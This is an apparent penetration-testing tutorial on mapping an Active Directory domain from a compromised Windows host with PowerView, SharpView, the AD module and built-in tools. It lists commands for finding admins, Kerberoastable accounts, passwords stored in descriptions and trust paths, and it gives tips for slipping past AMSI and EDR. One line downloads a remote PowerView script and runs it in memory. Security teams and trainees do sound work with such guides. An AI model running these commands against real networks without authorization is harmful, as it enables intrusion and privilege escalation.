AD Enumeration from Windows

Domain reconnaissance from a compromised Windows host. PowerView, AD module, SharpView, net.exe, WMI, nltest, systeminfo, and domain trust mapping.

Sections AD Enumeration from Windows

You have a shell on a domain-joined Windows host. Time to map the domain, find misconfigurations, and identify targets. This covers built-in tools, PowerView, the AD module, and SharpView for when PowerShell is restricted.


Situational Awareness

Before touching AD, understand your current context. Who are you, what machine are you on, and what privileges do you have.

powershell
# Current user and privileges
PS C:\> whoami 
PS C:\> whoami /priv 
PS C:\> whoami /groups 
PS C:\> whoami /all

# System info
PS C:\> hostname 
PS C:\> systeminfo 
PS C:\> ipconfig /all

# Domain context
PS C:\> echo %USERDNSDOMAIN% 
PS C:\> echo %LOGONSERVER% 
PS C:\> [System.Environment]::UserDomainName 
PS C:\> [System.Net.Dns]::GetHostByName($env:COMPUTERNAME)

# Check if machine is domain-joined

PS C:\> (Get-WmiObject Win32_ComputerSystem).PartOfDomain 
PS C:\> dsregcmd /status

Domain Controller Discovery

powershell
PS C:\> nltest /dclist:corp.local 
PS C:\> nltest /dsgetdc:corp.local 
PS C:\> nltest /domain_trusts 
PS C:\> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers 
PS C:\> nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
nltest does not require admin privileges. It gives you the DC list, site information, domain trusts, and domain GUID in a single binary.

PowerView

PowerView is the most comprehensive PowerShell tool for AD enumeration. It uses .NET DirectorySearcher under the hood, so it works on any domain-joined host without RSAT.

Loading PowerView

powershell
# From disk
PS C:\> Import-Module .\PowerView.ps1

# In-memory (AMSI may block this)
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/PowerView.ps1')

# From a Base64-encoded string
PS C:\> $encoded = [IO.File]::ReadAllText('C:\Temp\pv_b64.txt') PS C:\> IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)))

Domain and Forest Info

powershell
PS C:\> Get-Domain 
PS C:\> Get-DomainController 
PS C:\> Get-Forest 
PS C:\> Get-ForestDomain 
PS C:\> Get-DomainPolicy 
PS C:\> (Get-DomainPolicy)."SystemAccess" 
PS C:\> Get-DomainTrust 
PS C:\> Get-ForestTrust

User Enumeration

powershell
# All users
PS C:\> Get-DomainUser | Select-Object samaccountname, description, memberof, admincount, lastlogon

# Specific user
PS C:\> Get-DomainUser -Identity svc_backup -Properties *

# Users with AdminCount=1
PS C:\> Get-DomainUser -AdminCount | Select-Object samaccountname, description

# Users with SPNs (Kerberoastable)
PS C:\> Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

# Users with no preauth (AS-REP roastable)
PS C:\> Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

# Users with "pass" in description
PS C:\> Get-DomainUser -LDAPFilter "(description=*pass*)" | Select-Object samaccountname, description

# Enabled users with password never expires
PS C:\> Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE,DONT_EXPIRE_PASSWORD | Select-Object samaccountname

Group Enumeration

powershell
# All groups
PS C:\> Get-DomainGroup | Select-Object samaccountname, description

# Members of Domain Admins
PS C:\> Get-DomainGroupMember -Identity "Domain Admins" -Recurse | Select-Object MemberName, MemberObjectClass

# Members of all privileged groups
PS C:\> @("Domain Admins","Enterprise Admins","Administrators","Backup Operators","Server Operators","DnsAdmins","Account Operators") | ForEach-Object {
>>   Write-Output "`n=== $_ ==="
>>   Get-DomainGroupMember -Identity $_ -Recurse | Select-Object MemberName
>> }

# Groups a specific user belongs to
PS C:\> Get-DomainGroup -UserName svc_backup | Select-Object samaccountname

# Find groups with "admin" in the name
PS C:\> Get-DomainGroup -SearchString "admin" | Select-Object samaccountname

Computer Enumeration

powershell
# All computers
PS C:\> Get-DomainComputer | Select-Object name, dnshostname, operatingsystem

# Servers only
PS C:\> Get-DomainComputer -OperatingSystem "*Server*" | Select-Object name, operatingsystem

# Computers with unconstrained delegation
PS C:\> Get-DomainComputer -Unconstrained | Select-Object name, dnshostname

# Computers where current user has local admin (requires session data)
PS C:\> Find-LocalAdminAccess

# Computers with specific OS
PS C:\> Get-DomainComputer -OperatingSystem "Windows Server 2019*" | Select-Object name

Session and Logon Enumeration

powershell
# Find where Domain Admins are logged in
PS C:\> Find-DomainUserLocation -GroupName "Domain Admins"

# Sessions on a specific host
PS C:\> Get-NetSession -ComputerName dc01

# Logged-on users on a specific host
PS C:\> Get-NetLoggedon -ComputerName ws01

# Find machines where current user has local admin
PS C:\> Find-LocalAdminAccess -Verbose
Find-DomainUserLocation and Find-LocalAdminAccess query every machine in the domain. This is noisy and slow in large environments. Filter by OU or use -ComputerName with a targeted list.

SharpView (C# Alternative)

When PowerShell is constrained or heavily logged, SharpView provides the same functionality as a compiled binary.

powershell
PS C:\> .\SharpView.exe Get-DomainUser -Identity svc_backup
PS C:\> .\SharpView.exe Get-DomainGroup -Identity "Domain Admins"
PS C:\> .\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins" -Recurse
PS C:\> .\SharpView.exe Get-DomainComputer -Unconstrained
PS C:\> .\SharpView.exe Find-LocalAdminAccess
PS C:\> .\SharpView.exe Get-DomainTrust

AD Module (RSAT)

The official ActiveDirectory PowerShell module. Less likely to be flagged by AV/EDR compared to PowerView.

Import and Basic Queries

powershell
PS C:\> Import-Module ActiveDirectory

# Domain info
PS C:\> Get-ADDomain
PS C:\> Get-ADForest
PS C:\> Get-ADDomainController -Filter *

# All users
PS C:\> Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Description, Enabled, MemberOf, AdminCount, LastLogonDate, PasswordLastSet

# Specific user
PS C:\> Get-ADUser -Identity svc_backup -Properties *

# Domain Admins
PS C:\> Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, SamAccountName, objectClass

# Trusts
PS C:\> Get-ADTrust -Filter *

Using the AD Module Without RSAT

You can load the AD module DLL without installing RSAT by importing it from a DC or another machine.

powershell
# Copy the DLL from a DC
PS C:\> Copy-Item "\\dc01\C$\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\*\Microsoft.ActiveDirectory.Management.dll" C:\Temp\

# Import the DLL directly
PS C:\> Import-Module C:\Temp\Microsoft.ActiveDirectory.Management.dll
PS C:\> Get-ADDomain

Built-in Windows Tools

These work everywhere without importing anything. Useful when you cannot run PowerView or load modules.

net.exe

powershell
# Users and groups
PS C:\> net user /domain
PS C:\> net user svc_backup /domain
PS C:\> net group /domain
PS C:\> net group "Domain Admins" /domain
PS C:\> net group "Enterprise Admins" /domain

# Local info
PS C:\> net localgroup Administrators
PS C:\> net share

# Domain accounts
PS C:\> net accounts /domain

WMI Queries

powershell
# Local admins on the current machine
PS C:\> Get-WmiObject -Class Win32_GroupUser | Where-Object {$_.GroupComponent -like '*Administrators*'} | ForEach-Object { $_.PartComponent }

# Installed software
PS C:\> Get-WmiObject -Class Win32_Product | Select-Object Name, Version

# Running services
PS C:\> Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq 'Running'} | Select-Object Name, DisplayName, PathName, StartName

# Remote WMI query (requires admin on target)
PS C:\> Get-WmiObject -Class Win32_OperatingSystem -ComputerName ws01 | Select-Object Caption, Version

dsquery

powershell
# All users
PS C:\> dsquery user -limit 0

# Custom LDAP filter
PS C:\> dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr samAccountName description -limit 0

# All computers
PS C:\> dsquery computer -limit 0

# OUs
PS C:\> dsquery ou

# Find stale accounts
PS C:\> dsquery user -inactive 4
PS C:\> dsquery computer -inactive 4

Trust Enumeration

Domain trusts define how authentication works between domains and forests. Mapping trusts reveals lateral movement paths and potential escalation routes.

powershell
# PowerView
PS C:\> Get-DomainTrust
PS C:\> Get-DomainTrust -Domain child.corp.local
PS C:\> Get-ForestTrust
PS C:\> Get-DomainForeignGroupMember
PS C:\> Get-DomainForeignUser

# AD Module
PS C:\> Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, IntraForest

# nltest
PS C:\> nltest /domain_trusts /all_trusts /v

# .NET
PS C:\> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS C:\> ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

Trust Direction Reference

Direction Meaning Access Flow
Inbound External domain trusts us Their users can access our resources
Outbound We trust the external domain Our users can access their resources
Bidirectional Mutual trust Users from either domain can access the other
Bidirectional trusts are the most interesting for lateral movement. An outbound trust means you can authenticate to the trusted domain if you compromise a user. Check Get-DomainForeignGroupMember to see if any users from the trusted domain are in local groups on your domain.

GPO Enumeration

powershell
# PowerView - all GPOs
PS C:\> Get-DomainGPO | Select-Object DisplayName, Name, GPCFileSysPath

# GPOs applied to a specific computer
PS C:\> Get-DomainGPO -ComputerIdentity ws01 | Select-Object DisplayName

# GPOs applied to a specific user
PS C:\> Get-DomainGPO -UserIdentity svc_backup | Select-Object DisplayName

# Find GPOs that modify local group membership
PS C:\> Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName, GroupMembers

# Find users who can create/edit GPOs
PS C:\> Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "CreateChild|WriteProperty"} | Select-Object SecurityIdentifier, ActiveDirectoryRights

# Built-in gpresult
PS C:\> gpresult /r
PS C:\> gpresult /z

Organizational Unit (OU) Enumeration

OUs define the administrative structure. Understanding which OUs exist and what GPOs apply to them reveals how the domain is managed.

powershell
# PowerView
PS C:\> Get-DomainOU | Select-Object Name, DistinguishedName, gplink

# Computers in a specific OU
PS C:\> Get-DomainComputer -SearchBase "OU=Servers,DC=corp,DC=local" | Select-Object name

# Users in a specific OU
PS C:\> Get-DomainUser -SearchBase "OU=ServiceAccounts,DC=corp,DC=local" | Select-Object samaccountname, description

# AD Module
PS C:\> Get-ADOrganizationalUnit -Filter * -Properties gpLink | Select-Object Name, DistinguishedName, gpLink